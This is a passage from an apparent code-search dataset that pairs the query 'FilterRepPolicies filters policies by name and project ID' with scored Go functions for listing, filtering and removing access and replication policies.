"docid": "aa37c5bf5deb50fae057d971d685d744", "score": "0.63373816", "text": "func (c *RoomuseClient) Hooks() []Hook {\n\treturn c.hooks.Roomuse\n}", "title": "" }, { "docid": "2483d68511f43e0287331d97633fc010", "score": "0.63367623", "text": "func (c *CategoryClient) Hooks() []Hook {\n\treturn c.hooks.Category\n}", "title": "" }, { "docid": "141e0b037fd30356807897749dbcd672", "score": "0.63344115", "text": "func (c *UserWalletClient) Hooks() []Hook {\n\treturn c.hooks.UserWallet\n}", "title": "" }, { "docid": "d1f2f1d150e746968f860ac4e2ea8749", "score": "0.63259846", "text": "func (c *PostAttachmentClient) Hooks() []Hook {\n\treturn c.hooks.PostAttachment\n}", "title": "" }, { "docid": "4ebde9d11a34a14c693d429252060f7a", "score": "0.6325138", "text": "func (c *PositionassingmentClient) Hooks() []Hook {\n\treturn c.hooks.Positionassingment\n}", "title": "" } ]
1726cc9962f8c97b295233c2f5836b7c
FilterRepPolicies filters policies by name and project ID
[ { "docid": "359f136902977906259e2509d6ecd027", "score": "0.80155337", "text": "func FilterRepPolicies(name string, projectID, page, pageSize int64) ([]*models.RepPolicy, error) {\n\to := GetOrmer()\n\n\tvar args []interface{}\n\n\tsql := `select rp.id, rp.project_id, rp.target_id, \n\t\t\t\trt.name as target_name, rp.name, rp.description,\n\t\t\t\trp.cron_str, rp.filters, rp.replicate_deletion, \n\t\t\t\trp.creation_time, rp.update_time, \n\t\t\t\tcount(rj.status) as error_job_count \n\t\t\tfrom replication_policy rp \n\t\t\tleft join replication_target rt on rp.target_id=rt.id \n\t\t\tleft join replication_job rj on rp.id=rj.policy_id and (rj.status='error' \n\t\t\t\tor rj.status='retrying') \n\t\t\twhere rp.deleted = false `\n\n\tif len(name) != 0 && projectID != 0 {\n\t\tsql += `and rp.name like ? and rp.project_id = ? `\n\t\targs = append(args, \"%\"+Escape(name)+\"%\")\n\t\targs = append(args, projectID)\n\t} else if len(name) != 0 {\n\t\tsql += `and rp.name like ? `\n\t\targs = append(args, \"%\"+Escape(name)+\"%\")\n\t} else if projectID != 0 {\n\t\tsql += `and rp.project_id = ? `\n\t\targs = append(args, projectID)\n\t}\n\n\tsql += `group by rt.name, rp.id order by rp.creation_time`\n\n\tif page > 0 && pageSize > 0 {\n\t\tsql += ` limit ? offset ?`\n\t\targs = append(args, pageSize, (page-1)*pageSize)\n\t}\n\n\tvar policies []*models.RepPolicy\n\tif _, err := o.Raw(sql, args).QueryRows(&policies); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn policies, nil\n}", "title": "" } ]
[ { "docid": "e1f09b999d500600b4aa977b00c94722", "score": "0.5990617", "text": "func GetPoliciesOfProject(projectID int64) []*types.Policy {\n\tpolicies := []*types.Policy{}\n\n\tnamespace := NewNamespace(projectID)\n\tfor _, policy := range subPoliciesForProject {\n\t\tpolicies = append(policies, &types.Policy{\n\t\t\tResource: namespace.Resource(policy.Resource),\n\t\t\tAction: policy.Action,\n\t\t\tEffect: policy.Effect,\n\t\t})\n\t}\n\n\treturn policies\n}", "title": "" }, { "docid": "e569599faacb9f0a4dc2f4d58badbd04", "score": "0.590327", "text": "func GetTotalOfRepPolicies(name string, projectID int64) (int64, error) {\n\tqs := GetOrmer().QueryTable(&models.RepPolicy{}).Filter(\"deleted\", false)\n\n\tif len(name) != 0 {\n\t\tqs = qs.Filter(\"name__icontains\", name)\n\t}\n\n\tif projectID != 0 {\n\t\tqs = qs.Filter(\"project_id\", projectID)\n\t}\n\n\treturn qs.Count()\n}", "title": "" }, { "docid": "4dfe729616f914bddf6eec5fae5bd1d6", "score": "0.5785211", "text": "func (a *CasbinAdapter) RemoveFilteredPolicy(sec string, ptype string, fieldIndex int, fieldValues ...string) error {\n\treturn nil\n}", "title": "" }, { "docid": "4dfe729616f914bddf6eec5fae5bd1d6", "score": "0.5785211", "text": "func (a *CasbinAdapter) RemoveFilteredPolicy(sec string, ptype string, fieldIndex int, fieldValues ...string) error {\n\treturn nil\n}", "title": "" }, { "docid": "4dfe729616f914bddf6eec5fae5bd1d6", "score": "0.5785211", "text": "func (a *CasbinAdapter) RemoveFilteredPolicy(sec string, ptype string, fieldIndex int, fieldValues ...string) error {\n\treturn nil\n}", "title": "" }, { "docid": "53ab756c7b1e6938ed7630630a47a3dc", "score": "0.5781102", "text": "func getAllPolicies(namespace rbac.Namespace) map[string]bool {\n\tmp := map[string]bool{}\n\tfor _, policy := range project.GetAllPolicies(namespace) {\n\t\tmp[policy.String()] = true\n\t}\n\tscannerPull := &rbac.Policy{Resource: namespace.Resource(rbac.ResourceRepository), Action: rbac.ActionScannerPull}\n\tmp[scannerPull.String()] = true\n\treturn mp\n}", "title": "" }, { "docid": "d5f682f4256f24424a3e242a34983e00", "score": "0.5781059", "text": "func (a *Adapter) RemoveFilteredPolicy(sec string, ptype string, fieldIndex int, fieldValues ...string) error {\n\treturn errors.New(\"not implemented\")\n}", "title": "" }, { "docid": "b45c570314dda090b141b4e189ad7d88", "score": "0.5776221", "text": "func (a *Adapter) RemoveFilteredPolicy(sec string, ptype string, fieldIndex int, fieldValues ...string) error {\n\trule := CasbinRule{}\n\n\trule.PType = ptype\n\tif fieldIndex <= 0 && 0 < fieldIndex+len(fieldValues) {\n\t\trule.V0 = fieldValues[0-fieldIndex]\n\t}\n\tif fieldIndex <= 1 && 1 < fieldIndex+len(fieldValues) {\n\t\trule.V1 = fieldValues[1-fieldIndex]\n\t}\n\tif fieldIndex <= 2 && 2 < fieldIndex+len(fieldValues) {\n\t\trule.V2 = fieldValues[2-fieldIndex]\n\t}\n\tif fieldIndex <= 3 && 3 < fieldIndex+len(fieldValues) {\n\t\trule.V3 = fieldValues[3-fieldIndex]\n\t}\n\tif fieldIndex <= 4 && 4 < fieldIndex+len(fieldValues) {\n\t\trule.V4 = fieldValues[4-fieldIndex]\n\t}\n\tif fieldIndex <= 5 && 5 < fieldIndex+len(fieldValues) {\n\t\trule.V5 = fieldValues[5-fieldIndex]\n\t}\n\n\tfilter := a.constructFilter(rule)\n\n\treturn a.removeFilteredPolicy(filter)\n}", "title": "" }, { "docid": "b2a95b3de24b723e7753b1a65bb9ab06", "score": "0.5665529", "text": "func TestPolicyListRespectingFields(t *testing.T) {\n\ttestCache, cacheChannel, testChannel := beforeTestingSetup_readonlypolicycache()\n\tdefer close(cacheChannel)\n\n\tvar policies *authorizationapi.PolicyList\n\tvar err error\n\n\tname := \"uniquePolicyName\"\n\tnamespace := \"namespaceTwo\"\n\tfield := fields.OneTermEqualSelector(\"metadata.name\", name)\n\n\tutilwait.Until(func() {\n\t\tpolicies, err = testCache.List(&kapi.ListOptions{FieldSelector: field}, namespace)\n\n\t\tif (err == nil) &&\n\t\t\t(policies != nil) &&\n\t\t\t(len(policies.Items) == 1) &&\n\t\t\t(policies.Items[0].Name == name) {\n\t\t\tclose(testChannel)\n\t\t}\n\t}, 1*time.Millisecond, testChannel)\n\n\tswitch {\n\tcase err != nil:\n\t\tt.Errorf(\"Error getting policies using ReadOnlyPolicyCache: %v\", err)\n\tcase policies == nil:\n\t\tt.Error(\"PoliciesList is nil\")\n\tcase len(policies.Items) != 1:\n\t\tt.Errorf(\"Expected policyList to have 1 policy, had %d\", len(policies.Items))\n\tcase policies.Items[0].Name != name:\n\t\tt.Errorf(\"Expected policy name to be '%s', was '%s'\", name, policies.Items[0].Name)\n\t}\n}", "title": "" }, { "docid": "680471c676f1171ee9ae5b292857f672", "score": "0.5618547", "text": "func expandPolicies(policies []ApiPolicyView) []mongodbatlas.Policy {\n\tschedulePolicies := make([]mongodbatlas.Policy, 0)\n\tfor _, s := range policies {\n\t\tpolicy := mongodbatlas.Policy{\n\t\t\tID: cast.ToString(s.ID),\n\t\t\tPolicyItems: expandPolicyItems(s.PolicyItems),\n\t\t}\n\t\tschedulePolicies = append(schedulePolicies, policy)\n\t}\n\treturn schedulePolicies\n}", "title": "" }, { "docid": "13c0be6c4ba960f4841e3e8e8a5809f4", "score": "0.5555646", "text": "func (p *PolicyOperator) UpdateFilteredPolicies(sec, pType string, oldRules, newRules [][]string) error {\n\tp.l.Lock()\n\tdefer p.l.Unlock()\n\n\teffected, err := p.enforcer.UpdatePoliciesSelf(nil, sec, pType, oldRules, newRules)\n\tif err != nil {\n\t\tp.logger.Error(\"failed to call UpdatePoliciesSelf\", zap.Error(err))\n\t\treturn err\n\t}\n\tif effected == false {\n\t\treturn nil\n\t}\n\n\terr = p.db.Update(func(tx *bolt.Tx) error {\n\t\tbkt := tx.Bucket(policyBucketName)\n\n\t\tfor _, newRule := range newRules {\n\t\t\tnewKey, err := newRuleBytes(sec, pType, newRule)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tvalue, err := bkt.NextSequence()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\terr = bkt.Put(newKey, []byte(strconv.FormatUint(value, 10)))\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tfor _, oldRule := range oldRules {\n\t\t\toldKey, err := newRuleBytes(sec, pType, oldRule)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn bkt.Delete(oldKey)\n\t\t}\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tp.logger.Error(\"failed to persist to database\", zap.Error(err))\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "185416029b4b238fa590e88957252cac", "score": "0.5532729", "text": "func (a *MinioAdapter) RemoveFilteredPolicy(sec string, ptype string, fieldIndex int, fieldValues ...string) error {\n\treturn errors.New(\"Not implemented\")\n}", "title": "" }, { "docid": "a9035288fc8d7973720997e7c80061f2", "score": "0.5503302", "text": "func (a *Adapter) RemoveFilteredPolicy(sec string, ptype string, fieldIndex int, fieldValues ...string) error {\n\tline := a.getTableInstance()\n\n\tline.Ptype = ptype\n\n\tif fieldIndex == -1 {\n\t\treturn a.rawDelete(a.db, *line)\n\t}\n\n\terr := checkQueryField(fieldValues)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif fieldIndex <= 0 && 0 < fieldIndex+len(fieldValues) {\n\t\tline.V0 = fieldValues[0-fieldIndex]\n\t}\n\tif fieldIndex <= 1 && 1 < fieldIndex+len(fieldValues) {\n\t\tline.V1 = fieldValues[1-fieldIndex]\n\t}\n\tif fieldIndex <= 2 && 2 < fieldIndex+len(fieldValues) {\n\t\tline.V2 = fieldValues[2-fieldIndex]\n\t}\n\tif fieldIndex <= 3 && 3 < fieldIndex+len(fieldValues) {\n\t\tline.V3 = fieldValues[3-fieldIndex]\n\t}\n\tif fieldIndex <= 4 && 4 < fieldIndex+len(fieldValues) {\n\t\tline.V4 = fieldValues[4-fieldIndex]\n\t}\n\tif fieldIndex <= 5 && 5 < fieldIndex+len(fieldValues) {\n\t\tline.V5 = fieldValues[5-fieldIndex]\n\t}\n\terr = a.rawDelete(a.db, *line)\n\treturn err\n}", "title": "" }, { "docid": "2bc648b2810104e414c6cb904aab967f", "score": "0.5471512", "text": "func RunPolicies(ctx context.Context, c *github.Client, owner, repo string, enabled bool) error {\n\tps := policiesGetPolicies()\n\tfor _, p := range ps {\n\t\tr, err := p.Check(ctx, c, owner, repo)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tlog.Info().\n\t\t\tStr(\"org\", owner).\n\t\t\tStr(\"repo\", repo).\n\t\t\tStr(\"area\", p.Name()).\n\t\t\tBool(\"result\", r.Pass).\n\t\t\tBool(\"enabled\", enabled && r.Enabled).\n\t\t\tStr(\"notify\", r.NotifyText).\n\t\t\tInterface(\"details\", r.Details).\n\t\t\tMsg(\"Policy run result.\")\n\t\tif !enabled || !r.Enabled {\n\t\t\tcontinue\n\t\t}\n\t\ta := p.GetAction(ctx, c, owner, repo)\n\t\tif !r.Pass {\n\t\t\tswitch a {\n\t\t\tcase \"log\":\n\t\t\tcase \"issue\":\n\t\t\t\terr := issueEnsure(ctx, c, owner, repo, p.Name(), r.NotifyText)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\tcase \"email\":\n\t\t\t\tlog.Warn().\n\t\t\t\t\tStr(\"org\", owner).\n\t\t\t\t\tStr(\"repo\", repo).\n\t\t\t\t\tStr(\"area\", p.Name()).\n\t\t\t\t\tMsg(\"Email action configured, but not implemented yet.\")\n\t\t\tcase \"fix\":\n\t\t\t\terr := p.Fix(ctx, c, owner, repo)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\tlog.Warn().\n\t\t\t\t\tStr(\"org\", owner).\n\t\t\t\t\tStr(\"repo\", repo).\n\t\t\t\t\tStr(\"area\", p.Name()).\n\t\t\t\t\tStr(\"action\", a).\n\t\t\t\t\tMsg(\"Unknown action configured.\")\n\t\t\t}\n\t\t}\n\t\tif r.Pass && a == \"issue\" {\n\t\t\terr := issueClose(ctx, c, owner, repo, p.Name())\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "eedffdba8220a57635721c7c17c20586", "score": "0.54687005", "text": "func (cs *ConditionConfigService) getPolicies() []string {\n\ti := 0\n\tsupportedConditions := make([]string, len(cs.ConditionPolicyMap))\n\tfor key := range cs.ConditionPolicyMap {\n\t\tsupportedConditions[i] = key\n\t\ti++\n\t}\n\treturn supportedConditions\n}", "title": "" }, { "docid": "da2cbbc595c8486659e7b6804b438560", "score": "0.54613584", "text": "func newPolicies(polsFilesID []policyFileWithID) *policy.Policies {\n\tvar polsFiles []v1beta1.PolicyFile\n\n\tfor _, polFile := range polsFilesID {\n\t\tpolsFiles = append(polsFiles, polFile.policyFile)\n\t}\n\n\tpolicyScopeMap, policyEventMap, err := flags.PrepareFilterMapsFromPolicies(polsFiles)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tpolicies, err := flags.CreatePolicies(policyScopeMap, policyEventMap, true)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tpoliciesWithIDSet := policy.NewPolicies()\n\tfor pol := range policies.Map() {\n\t\tpol.ID = polsFilesID[pol.ID].id - 1\n\t\tpoliciesWithIDSet.Set(pol)\n\t}\n\n\treturn policiesWithIDSet\n}", "title": "" }, { "docid": "2ea7d60547f45753b52893f3e0bd8b63", "score": "0.5411812", "text": "func (m *PoliciesRequestBuilder) FeatureRolloutPoliciesById(id string)(*iff6a6d8b424e8a919281280c87147525819afe04366318faafc92dbee9442123.FeatureRolloutPolicyItemRequestBuilder) {\n urlTplParams := make(map[string]string)\n for idx, item := range m.pathParameters {\n urlTplParams[idx] = item\n }\n if id != \"\" {\n urlTplParams[\"featureRolloutPolicy%2Did\"] = id\n }\n return iff6a6d8b424e8a919281280c87147525819afe04366318faafc92dbee9442123.NewFeatureRolloutPolicyItemRequestBuilderInternal(urlTplParams, m.requestAdapter);\n}", "title": "" }, { "docid": "530eb7ac677ae55b0221d4bef8b3ab8c", "score": "0.5409717", "text": "func getMatchingPolicies(lister extensionslisters.PodSecurityPolicyLister, user user.Info, sa user.Info, authz authorizer.Authorizer, namespace string) ([]*extensions.PodSecurityPolicy, error) {\n\tmatchedPolicies := make([]*extensions.PodSecurityPolicy, 0)\n\n\tlist, err := lister.List(labels.Everything())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, constraint := range list {\n\t\tif authorizedForPolicy(user, namespace, constraint, authz) || authorizedForPolicy(sa, namespace, constraint, authz) {\n\t\t\tmatchedPolicies = append(matchedPolicies, constraint)\n\t\t}\n\t}\n\n\treturn matchedPolicies, nil\n}", "title": "" }, { "docid": "aed12c39c60ada7adc0a7a4ebe1fade8", "score": "0.5346025", "text": "func (h *Service) RetentionPolicies(w http.ResponseWriter, r *http.Request) {\n\tctx := r.Context()\n\n\tsrcID, err := paramID(\"id\", r)\n\tif err != nil {\n\t\tError(w, http.StatusUnprocessableEntity, err.Error(), h.Logger)\n\t\treturn\n\t}\n\n\tsrc, err := h.Store.Sources(ctx).Get(ctx, srcID)\n\tif err != nil {\n\t\tnotFound(w, srcID, h.Logger)\n\t\treturn\n\t}\n\n\tdbsvc := h.Databases\n\tif err = dbsvc.Connect(ctx, &src); err != nil {\n\t\tmsg := fmt.Sprintf(\"unable to connect to source %d: %v\", srcID, err)\n\t\tError(w, http.StatusBadRequest, msg, h.Logger)\n\t\treturn\n\t}\n\n\tdb := httprouter.ParamsFromContext(ctx).ByName(\"db\")\n\tres, err := h.allRPs(ctx, dbsvc, srcID, db)\n\tif err != nil {\n\t\tmsg := fmt.Sprintf(\"unable to connect get RPs %d: %v\", srcID, err)\n\t\tError(w, http.StatusBadRequest, msg, h.Logger)\n\t\treturn\n\t}\n\tencodeJSON(w, http.StatusOK, res, h.Logger)\n}", "title": "" }, { "docid": "62b4a028fcb0f0a60b83738df99aea82", "score": "0.5318299", "text": "func (mw *loggingMiddleware) GetFilteredNamedPolicy(ctx context.Context, enforcer EnforcerHandler, pType string, fieldIndex int, fieldValues []string) (results [][]string, err error) {\n\tdefer func() {\n\t\tmw.logger.Log(\"method\", \"GetFilteredNamedPolicy\", \"enforcer\", enforcer, \"pType\", pType, \"fieldIndex\", fieldIndex, \"fieldValues\", fieldValues, \"results\", results, \"error\", err)\n\t}()\n\treturn mw.next.GetFilteredNamedPolicy(ctx, enforcer, pType, fieldIndex, fieldValues)\n}", "title": "" }, { "docid": "ad950b1db5375cdaf7462290b2b75b1d", "score": "0.5312294", "text": "func (mw *loggingMiddleware) GetFilteredPolicy(ctx context.Context, enforcer EnforcerHandler, fieldIndex int, fieldValues []string) (results [][]string, err error) {\n\tdefer func() {\n\t\tmw.logger.Log(\"method\", \"GetFilteredPolicy\", \"enforcer\", enforcer, \"fieldIndex\", fieldIndex, \"fieldValues\", fieldValues, \"results\", results, \"error\", err)\n\t}()\n\treturn mw.next.GetFilteredPolicy(ctx, enforcer, fieldIndex, fieldValues)\n}", "title": "" }, { "docid": "452bb49ae258c70540d70bb267b776e7", "score": "0.5277883", "text": "func getMatchedPolicies(resourceName string, source string, policies []*v1alpha1.VerificationPolicy) ([]*v1alpha1.VerificationPolicy, error) {\n\tmatchedPolicies := []*v1alpha1.VerificationPolicy{}\n\tfor _, p := range policies {\n\t\tfor _, r := range p.Spec.Resources {\n\t\t\tmatching, err := regexp.MatchString(r.Pattern, source)\n\t\t\tif err != nil {\n\t\t\t\t// FixMe: changing %v to %w breaks integration tests.\n\t\t\t\treturn matchedPolicies, fmt.Errorf(\"%v: %w\", err, ErrRegexMatch) //nolint:errorlint\n\t\t\t}\n\t\t\tif matching {\n\t\t\t\tmatchedPolicies = append(matchedPolicies, p)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\tif len(matchedPolicies) == 0 {\n\t\treturn matchedPolicies, fmt.Errorf(\"%w: no matching policies are found for resource: %s against source: %s\", ErrNoMatchedPolicies, resourceName, source)\n\t}\n\treturn matchedPolicies, nil\n}", "title": "" }, { "docid": "0febae1139bd7cd569e5f013707f295d", "score": "0.5257763", "text": "func (s *grpcService) GetFilteredPolicy(ctx context.Context, req *pb.FilteredPolicyRequest) (*pb.Array2DResponse, error) {\n\t_, resp, err := s.getFilteredPolicy.ServeGRPC(ctx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn resp.(*pb.Array2DResponse), nil\n}", "title": "" }, { "docid": "95b04949f70979e2506f5b1f613a4d25", "score": "0.5257727", "text": "func (p *PolicyOperator) RemoveFilteredPolicy(sec string, pType string, fieldIndex int, fieldValues ...string) error {\n\tp.l.Lock()\n\tdefer p.l.Unlock()\n\n\teffected, err := p.enforcer.RemoveFilteredPolicySelf(nil, sec, pType, fieldIndex, fieldValues...)\n\tif err != nil {\n\t\tp.logger.Error(\"failed to call RemoveFilteredPolicySelf\", zap.Error(err))\n\t\treturn err\n\t}\n\tif len(effected) == 0 {\n\t\treturn nil\n\t}\n\n\terr = p.db.Update(func(tx *bolt.Tx) error {\n\t\tbkt := tx.Bucket(policyBucketName)\n\t\tfor _, item := range effected {\n\t\t\tkey, err := newRuleBytes(sec, pType, item)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\terr = bkt.Delete(key)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tp.logger.Error(\"failed to persist to database\", zap.Error(err))\n\t}\n\n\treturn err\n}", "title": "" }, { "docid": "1c7bbf4bd64dcf66edfdec5c42d06553", "score": "0.52506274", "text": "func ProcessExisting(client *client.Client, policy *types.Policy) []*info.PolicyInfo {\n\tglog.Infof(\"Applying policy %s on existing resources\", policy.Name)\n\t// key uid\n\tresourceMap := map[string]*resourceInfo{}\n\n\tfor _, rule := range policy.Spec.Rules {\n\t\tfor _, k := range rule.Kinds {\n\t\t\tif k == \"Namespace\" {\n\t\t\t\t// REWORK: will be handeled by namespace controller\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// kind -> resource\n\t\t\tgvr := client.DiscoveryClient.GetGVRFromKind(k)\n\t\t\t// label selectors\n\t\t\t// namespace ? should it be default or allow policy to specify it\n\t\t\tnamespace := \"default\"\n\t\t\tif rule.ResourceDescription.Namespace != nil {\n\t\t\t\tnamespace = *rule.ResourceDescription.Namespace\n\t\t\t}\n\t\t\tlist, err := client.ListResource(k, namespace, rule.ResourceDescription.Selector)\n\t\t\tif err != nil {\n\t\t\t\tglog.Errorf(\"unable to list resource for %s with label selector %s\", gvr.Resource, rule.Selector.String())\n\t\t\t\tglog.Errorf(\"unable to apply policy %s rule %s. err: %s\", policy.Name, rule.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfor _, res := range list.Items {\n\t\t\t\tname := rule.ResourceDescription.Name\n\t\t\t\tgvk := res.GroupVersionKind()\n\t\t\t\tif name != nil {\n\t\t\t\t\t// wild card matching\n\t\t\t\t\tif !wildcard.Match(*name, res.GetName()) {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tri := &resourceInfo{resource: &res, gvk: &metav1.GroupVersionKind{Group: gvk.Group,\n\t\t\t\t\tVersion: gvk.Version,\n\t\t\t\t\tKind: gvk.Kind}}\n\n\t\t\t\tresourceMap[string(res.GetUID())] = ri\n\n\t\t\t}\n\t\t}\n\t}\n\tpolicyInfos := []*info.PolicyInfo{}\n\t// for the filtered resource apply policy\n\tfor _, v := range resourceMap {\n\n\t\tpolicyInfo, err := applyPolicy(client, policy, v)\n\t\tif err != nil {\n\t\t\tglog.Errorf(\"unable to apply policy %s on resource %s/%s\", policy.Name, v.resource.GetName(), v.resource.GetNamespace())\n\t\t\tglog.Error(err)\n\t\t\tcontinue\n\t\t}\n\t\tpolicyInfos = append(policyInfos, policyInfo)\n\t}\n\n\treturn policyInfos\n}", "title": "" }, { "docid": "c13e63edd6258b4d672bb422cf09fa08", "score": "0.5238491", "text": "func (m *PoliciesRequestBuilder) ConditionalAccessPoliciesById(id string)(*i843df2bef70b4bcdc0e002955adffd0d0793c6957377635528f401c17a961d02.ConditionalAccessPolicyItemRequestBuilder) {\n urlTplParams := make(map[string]string)\n for idx, item := range m.pathParameters {\n urlTplParams[idx] = item\n }\n if id != \"\" {\n urlTplParams[\"conditionalAccessPolicy%2Did\"] = id\n }\n return i843df2bef70b4bcdc0e002955adffd0d0793c6957377635528f401c17a961d02.NewConditionalAccessPolicyItemRequestBuilderInternal(urlTplParams, m.requestAdapter);\n}", "title": "" }, { "docid": "04dd9b182ceaf04dd5ee32b5a71ce236", "score": "0.5226955", "text": "func GetAllRunPolicies(lister buildclient.BuildLister, updater buildclient.BuildUpdater) []RunPolicy {\n\treturn []RunPolicy{\n\t\t&ParallelPolicy{BuildLister: lister, BuildUpdater: updater},\n\t\t&SerialPolicy{BuildLister: lister, BuildUpdater: updater},\n\t\t&SerialLatestOnlyPolicy{BuildLister: lister, BuildUpdater: updater},\n\t}\n}", "title": "" }, { "docid": "1327ec9b94d107a8c8b1bfbdc20cdcc3", "score": "0.5211083", "text": "func (s *grpcService) GetFilteredNamedPolicy(ctx context.Context, req *pb.FilteredPolicyRequest) (*pb.Array2DResponse, error) {\n\t_, resp, err := s.getFilteredNamedPolicy.ServeGRPC(ctx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn resp.(*pb.Array2DResponse), nil\n}", "title": "" }, { "docid": "d1ea57a068c4feaeb84b52f3c8b8a481", "score": "0.52013075", "text": "func (c *Fake) Policies(namespace string) client.PolicyInterface {\n\treturn &FakePolicies{Fake: c, Namespace: namespace}\n}", "title": "" }, { "docid": "315859c3b074ab62011dd32d919a88f6", "score": "0.51857686", "text": "func orPolNames(policies ...string) []string {\n\treturn policies\n}", "title": "" }, { "docid": "4af7c3cba005682c3c0731000feb873c", "score": "0.5184967", "text": "func (w *Watcher) UpdateForRemoveFilteredPolicy(sec, ptype string, fieldIndex int, fieldValues ...string) error {\n\treturn w.logRecord(func() error {\n\t\tw.l.Lock()\n\t\tdefer w.l.Unlock()\n\t\treturn w.pubClient.Publish(context.Background(), w.options.Channel,\n\t\t\t&MSG{\"UpdateForRemoveFilteredPolicy\", w.options.LocalID,\n\t\t\t\tsec,\n\t\t\t\tptype,\n\t\t\t\tfmt.Sprintf(\"%d %s\", fieldIndex, strings.Join(fieldValues, \" \")),\n\t\t\t},\n\t\t).Err()\n\t})\n}", "title": "" }, { "docid": "573c56e1e3ce7f13e60331877d27abd2", "score": "0.51718915", "text": "func (m *PoliciesRequestBuilder) FeatureRolloutPolicies()(*i598aadab7f9532dcd78b5237b03ae7e6ac9390b26cc04cb85038bcb797fcb4e3.FeatureRolloutPoliciesRequestBuilder) {\n return i598aadab7f9532dcd78b5237b03ae7e6ac9390b26cc04cb85038bcb797fcb4e3.NewFeatureRolloutPoliciesRequestBuilderInternal(m.pathParameters, m.requestAdapter);\n}", "title": "" }, { "docid": "7b8f0fdad12e03b687bff0cfcdb9c4a5", "score": "0.51534396", "text": "func (m *PoliciesRequestBuilder) PermissionGrantPoliciesById(id string)(*ia9d7ff4c255eb343aa34f45265c76078ea351f2ba2bad54efe9863a838dd38f0.PermissionGrantPolicyItemRequestBuilder) {\n urlTplParams := make(map[string]string)\n for idx, item := range m.pathParameters {\n urlTplParams[idx] = item\n }\n if id != \"\" {\n urlTplParams[\"permissionGrantPolicy%2Did\"] = id\n }\n return ia9d7ff4c255eb343aa34f45265c76078ea351f2ba2bad54efe9863a838dd38f0.NewPermissionGrantPolicyItemRequestBuilderInternal(urlTplParams, m.requestAdapter);\n}", "title": "" }, { "docid": "ee870e3ea2a52185ccb8c3c5f28719e0", "score": "0.5144769", "text": "func (c WebApplicationFirewallPoliciesClient) preparerForPoliciesDelete(ctx context.Context, id FrontDoorWebApplicationFirewallPolicyId) (*http.Request, error) {\n\tqueryParameters := map[string]interface{}{\n\t\t\"api-version\": defaultApiVersion,\n\t}\n\n\tpreparer := autorest.CreatePreparer(\n\t\tautorest.AsContentType(\"application/json; charset=utf-8\"),\n\t\tautorest.AsDelete(),\n\t\tautorest.WithBaseURL(c.baseUri),\n\t\tautorest.WithPath(id.ID()),\n\t\tautorest.WithQueryParameters(queryParameters))\n\treturn preparer.Prepare((&http.Request{}).WithContext(ctx))\n}", "title": "" }, { "docid": "ba7cb90269ebe56745bc73c04f46df68", "score": "0.5138258", "text": "func (c Config) GetPolicies() map[string]string {\n\tpolicies := make(map[string]string)\n\n\tfor key, value := range c.Data {\n\t\tif !strings.HasPrefix(key, keyPrefixPolicy) {\n\t\t\tcontinue\n\t\t}\n\t\tif !strings.HasSuffix(key, \".rego\") {\n\t\t\tcontinue\n\t\t}\n\t\tpolicies[key] = value\n\t}\n\n\treturn policies\n}", "title": "" }, { "docid": "d85312f5cb9aaa7690adb70b1e764b20", "score": "0.51316905", "text": "func (o ReservationOutput) ResourcePolicies() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v *Reservation) pulumi.StringMapOutput { return v.ResourcePolicies }).(pulumi.StringMapOutput)\n}", "title": "" }, { "docid": "632d09bcaad8f3788870781ab80bc795", "score": "0.51172394", "text": "func TestPolicyGetMethods(t *testing.T) {\n\tpolicies := map[Policy]policy{Allow(): allow, Deny(): deny, AllowAlways(): allowAlways}\n\tfor P, p := range policies {\n\t\tif P.Name() != p.name || P.Shortcut() != p.shortcut || P.Id() != p.id || P.Description() != p.description {\n\t\t\tt.Error(\"Policy interface get method does not match policy value\")\n\t\t}\n\t}\n}", "title": "" }, { "docid": "55d5397e080eeb83bdca53bae4eb8a84", "score": "0.50475335", "text": "func (a *Adapter) RemovePolicies(sec string, ptype string, rules [][]string) error {\n\tfor _, rule := range rules {\n\t\tif err := a.RemovePolicy(sec, ptype, rule); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "698998b028f614f3239ffd0ede3a0dfc", "score": "0.50474113", "text": "func (m *PoliciesRequestBuilder) ConditionalAccessPolicies()(*i966a3041c5833ccf56ce1da16c013fd76d376cfc8b939cc01e633d8b495cb208.ConditionalAccessPoliciesRequestBuilder) {\n return i966a3041c5833ccf56ce1da16c013fd76d376cfc8b939cc01e633d8b495cb208.NewConditionalAccessPoliciesRequestBuilderInternal(m.pathParameters, m.requestAdapter);\n}", "title": "" }, { "docid": "74e7f247a8becc3cd98414081f6397ba", "score": "0.5043171", "text": "func (mw *loggingMiddleware) RemoveFilteredPolicy(ctx context.Context, enforcer EnforcerHandler, fieldIndex int, fieldValues []string) (result bool, err error) {\n\tdefer func() {\n\t\tmw.logger.Log(\"method\", 